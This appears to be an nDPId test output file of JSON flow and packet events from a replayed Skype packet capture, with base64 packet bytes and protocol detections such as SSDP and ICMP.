+00425{"flow_id":232,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1590,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969711,"pkt_ts_usec":97863,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0CpBAAEAGnRXAqAEinTg0HMO8nEnrI3U0Hv\/4VYAQECx2mwAAAQEICj4jloNMXGQg"} +00524{"flow_id":232,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1591,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969711,"pkt_ts_usec":98406,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8f0RAAEAGKBnAqAEinTg0HMO8nEnrI3U0Hv\/4VYAYECwYXQAAAQEICj4jloNMXGQgZZJK5+v4wpQjc0benTliCyHMzbaIXvjRlqGJhlecMQIbDtw5mLYeEBLTaAsRnTv6b1S1YuugkY4nrC16I3iJJt8EpZJbUIG+"} +00427{"flow_id":232,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1592,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969711,"pkt_ts_usec":302042,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0nAhAADMGGJ2dODQcwKgBIpxJw7we\/\/hV6yN1fIAQAB2GJAAAAQEICkxcZF4+I5aD"} +00439{"flow_id":224,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1594,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969711,"pkt_ts_usec":745218,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA81MVAAEAG6iDAqAEib91KLsOwnFtwFACeyWA\/QIAYECqfaAAAAQEICj4jmQhNhWV5MasRplDVU5Q="} +00437{"flow_id":225,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1595,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":61407,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA83oNAAEAGEYbAqAEinTfrsMOxnFbKZQiU5a3ICYAYECmDewAAAQEICj4jmkRF6hSkCDlkOMMwVQQ="} +00505{"flow_id":232,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1596,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":63046,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"PBXCt3IO0NQSxnP1CABFAABtnApAADMGGGKdODQcwKgBIpxJw7we\/\/hV6yN1fIAYAB1MvAAAAQEICkxcZRU+I5aDTHlk0P0XJpbAAB00nIWQ4QVhVM2Y\/UcKSgj8b+0c6bkJdRp4+cGBFXMX+WQuBMN5uzDhnvc8fYrz"} +00425{"flow_id":232,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1597,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":63124,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0W7pAAEAGS+vAqAEinTg0HMO8nEnrI3V8Hv\/4joAQECpxZQAAAQEICj4jmkVMXGUV"} +00438{"flow_id":232,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1598,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":63670,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8feBAAEAGKb3AqAEinTg0HMO8nEnrI3V8Hv\/4joAYECpqpwAAAQEICj4jmkVMXGUVrGY\/iZXahOM="} +00463{"flow_id":223,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1600,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":197794,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"0NQSxnP1PBXCt3IOCABFAABNqWlAAEAGr6TAqAEinTeCm8OuAbux\/OMgeZuFrYAYECxsZAAAAQEICj4jmstOs6LAbiJ8sZfDJaByCG++TyeH7mntaEp3F4nXwA=="} +00504{"flow_id":230,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1601,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":243980,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"0NQSxnP1PBXCt3IOCABFAABt37hAAEAGeMHAqAEiQTffD8O2Abu4rlOMyHp2R4AYECx0CQAAAQEICj4jmvkuudPpI5bq6HMzIBDTkc9VEw4iCS9khhJElSKv7lgEA0wtqe8DbuphtcTug+qyZjVGz2PfJmKteoTIZ7xX"} +00439{"flow_id":232,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1602,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":265050,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8nAtAADMGGJKdODQcwKgBIpxJw7we\/\/iO6yN1fIAYAB1SmQAAAQEICkxcZU4+I5pFB7FMWw0hzWI="} +00427{"flow_id":232,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1603,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":265134,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA09IxAAEAGsxjAqAEinTg0HMO8nEnrI3WEHv\/4loAQEClwVAAAAQEICj4jmw5MXGVO"} +00428{"flow_id":232,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1604,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":305269,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0nAxAADMGGJmdODQcwKgBIpxJw7we\/\/iW6yN1hIAQAB2BHgAAAQEICkxcZVk+I5pF"} +00478{"flow_id":232,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1605,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":305357,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"0NQSxnP1PBXCt3IOCABFAABYPh9AAEAGaWLAqAEinTg0HMO8nEnrI3WEHv\/4loAYECn3EwAAAQEICj4jmzZMXGVZyKphfsr9MBXUpMzENJdlqe1\/h0310jvsmQwoTUIkpZDHmADH"} +00524{"flow_id":232,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1606,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":467510,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"PBXCt3IO0NQSxnP1CABFAAB4nA1AADMGGFSdODQcwKgBIpxJw7we\/\/iW6yN1hIAYAB1uowAAAQEICkxcZYE+I5sOhMZaEh93OnZ3c\/muXOFwrztIYK5khE9IdC6mh6JkvLg12WBJtsQSO0zju2ffDzwJPfOQ3lkywMIQJ087yDYbZwOPHlE="} +00427{"flow_id":232,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1607,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":467605,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0W21AAEAGTDjAqAEinTg0HMO8nEnrI3WoHv\/42oAQECdu8QAAAQEICj4jm9hMXGWB"} +00429{"flow_id":232,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1608,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":507693,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0nA5AADMGGJedODQcwKgBIpxJw7we\/\/ja6yN1qIAQAB1\/kwAAAQEICkxcZYs+I5s2"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1616,"source":"skype.pcap","alias":"nDPId-test","flow_id":233,"flow_packet_id":1,"flow_first_seen":1431969712913,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"239.255.255.250","src_port":49485,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00582{"flow_id":233,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1616,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":913771,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6PBXCt3IOCABFAAChlVQAAAERcjPAqAEi7\/\/\/+sFNB2wAjXH\/TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KTVg6IDINCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpNQU46ICJzc2RwOmRpc2NvdmVyIg0KU1Q6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOUFBQQ29ubmVjdGlvbjoxDQoNCg=="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1616,"source":"skype.pcap","alias":"nDPId-test","flow_id":233,"flow_packet_id":1,"flow_first_seen":1431969712913,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"239.255.255.250","src_port":49485,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00577{"flow_id":233,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1617,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":913828,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"AQBef\/\/6PBXCt3IOCABFAACgzegAAAEROaDAqAEi7\/\/\/+sFNB2wAjNfyTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KTVg6IDINCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpNQU46ICJzc2RwOmRpc2NvdmVyIg0KU1Q6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOSVBDb25uZWN0aW9uOjENCg0K"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1618,"source":"skype.pcap","alias":"nDPId-test","flow_id":234,"flow_packet_id":1,"flow_first_seen":1431969712913,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"239.255.255.250","src_port":51066,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00581{"flow_id":234,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1618,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":913884,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6PBXCt3IOCABFAAChxxoAAAERQG3AqAEi7\/\/\/+sd6B2wAjWvSTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KTVg6IDINCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpNQU46ICJzc2RwOmRpc2NvdmVyIg0KU1Q6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOUFBQQ29ubmVjdGlvbjoxDQoNCg=="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1618,"source":"skype.pcap","alias":"nDPId-test","flow_id":234,"flow_packet_id":1,"flow_first_seen":1431969712913,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"239.255.255.250","src_port":51066,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00577{"flow_id":234,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1619,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":913898,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"AQBef\/\/6PBXCt3IOCABFAACgMZsAAAER1e3AqAEi7\/\/\/+sd6B2wAjNHFTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KTVg6IDINCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpNQU46ICJzc2RwOmRpc2NvdmVyIg0KU1Q6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOSVBDb25uZWN0aW9uOjENCg0K"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1620,"source":"skype.pcap","alias":"nDPId-test","flow_id":235,"flow_packet_id":1,"flow_first_seen":1431969712913,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":54067,"dst_port":5351,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00409{"flow_id":235,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1620,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":913984,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoiaEAAEARbbDAqAEiwKgBAdMzFOcAFCBsAAEAADLdMt0AAA4Q"} +00442{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1621,"source":"skype.pcap","alias":"nDPId-test","flow_id":236,"flow_packet_id":1,"flow_first_seen":1431969712918,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.34","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":236,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1621,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":918145,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"PBXCt3IO0NQSxnP1CABFwABEBYEAAEAB8QTAqAEBwKgBIgMDgJYAAAAARQAAKImhAABAEW2wwKgBIsCoAQHTMxTnABQgbAABAAAy3TLdAAAOEA=="} +00474{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1621,"source":"skype.pcap","alias":"nDPId-test","flow_id":236,"flow_packet_id":1,"flow_first_seen":1431969712918,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.34","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1623,"source":"skype.pcap","alias":"nDPId-test","flow_id":237,"flow_packet_id":1,"flow_first_seen":1431969712931,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.216.125","src_port":50109,"dst_port":12350,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":237,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1623,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":931653,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAK1RAAEAGGV7AqAEiW77YfcO9MD57jsMsAAAAALAC\/\/8yeAAAAgQFtAEDAwUBAQgKPiOdpAAAAAAEAgAA"} +00426{"flow_id":237,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1624,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":980992,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFCAA0xLRAAPUGywBbvth9wKgBIjA+w71YjgIOe47DLYASH\/7LvwAAAgQFoAEDAwQBAQQC"} +00409{"flow_id":237,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1625,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":981073,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoyL5AAEAGfAvAqAEiW77YfcO9MD57jsMtWI4CD1AQIAAMeQAA"} +00562{"flow_id":237,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1626,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969712,"pkt_ts_usec":981449,"pkt_caplen":165,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":165,"pkt_l4_len":131,"pkt":"0NQSxnP1PBXCt3IOCABFAACXODVAAEAGDCbAqAEiW77YfcO9MD57jsMtWI4CD1AYIACZrAAAyj\/S2cOjOn+CcIP8miG4Rt5KA71zKvoIvEKC4BnGH7tW516rcCigPW+mip\/VYbKheiN4iSbfBKWSW1CBvpdcHaqTKHlWT7SVwssAce4HDA3aA9hphr9khfI7sGEed7z9CnOIWbYvFHUiq2BRTuds"} +00416{"flow_id":237,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1629,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":24550,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFCAAo8P5AADYGXcNbvth9wKgBIjA+w71YjgIPe47DnFAQA6AoagAAAAAAAAAA"} +00409{"flow_id":235,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1632,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":175058,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoTzkAAEARqBjAqAEiwKgBAdMzFOcAFCBsAAEAADLdMt0AAA4Q"} +00449{"flow_id":236,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1633,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":177253,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"PBXCt3IO0NQSxnP1CABFwABEBYIAAEAB8QPAqAEBwKgBIgMDgJYAAAAARQAAKE85AABAEagYwKgBIsCoAQHTMxTnABQgbAABAAAy3TLdAAAOEA=="} +00498{"flow_id":231,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1634,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":217902,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"0NQSxnP1PBXCt3IOCABFAABlpnJAAEAGeqzAqAEiQAQXpsO3Abu4qWfMHBLMOoAYECwNvgAAAQEICj4jnr9MP09yMopg3AEWOIVra5cGzJjAiCstkrxYMtnVJJjcl7xva4xaFu\/8chGd\/faIMJs3g\/Ld1w=="} +00656{"flow_id":220,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1635,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":249113,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"0NQSxnP1PBXCt3IOCABFAADbaOdAAEAG1ffAqAEiF84hpsOqAbtGC\/RnGUhldoAZECwrhAAAAQEICj4jnt7sLyLPFgMBAKIBAACeAwFVWh+iRxw4dKYdeAHJfyjlXjv9yCDOr6NdIx96jKX10wAATAD\/VgDAJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAAApAAAAEwARAAAOYXBwcy5za3lwZS5jb20ACgAIAAYAFwAYABkACwACAQA="} +00427{"flow_id":217,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1636,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":282441,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0Fs1AAEAG2WLAqAEinTfrksOogQnO4dI2x\/F784ARECqrxQAAAQEICj4jnv9MXR0I"} +00426{"flow_id":221,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1637,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":282442,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0w41AAEAGLKLAqAEinTfrksOrAbuMrH7cAEk0NoARECzOcgAAAQEICj4jnv9MXR6a"} +00426{"flow_id":222,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1638,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":282508,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0S9tAAEAGDUzAqAEinTeCm8OsnFQhlXB4FdEIa4ARECmnowAAAQEICj4jnv9Os6Ex"} +00427{"flow_id":223,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1639,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":282597,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0r0pAAEAGqdzAqAEinTeCm8OuAbux\/OM5eZuFrYARECxccwAAAQEICj4jnv9Os6LA"} +00427{"flow_id":224,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1640,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":282605,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0WYFAAEAGZW3AqAEib91KLsOwnFtwFACmyWA\/QIARECqBMwAAAQEICj4jnv9NhWV5"} +00425{"flow_id":228,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1641,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":282676,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0X4hAAEAGX2bAqAEib91KLsO0AbvHHCJSd3qYAIARECyarAAAAQEICj4jnv9NhWcM"} +00426{"flow_id":225,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1642,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":282788,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0tchAAEAGOknAqAEinTfrsMOxnFbKZQic5a3ICYARECkDbgAAAQEICj4jnv9F6hSk"} +00426{"flow_id":229,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1643,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969713,"pkt_ts_usec":282788,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0nM5AAEAGU0PAqAEinTfrsMO1AbsGcnFX78av6oARECwFrgAAAQEICj4jnv9F6hY3"} 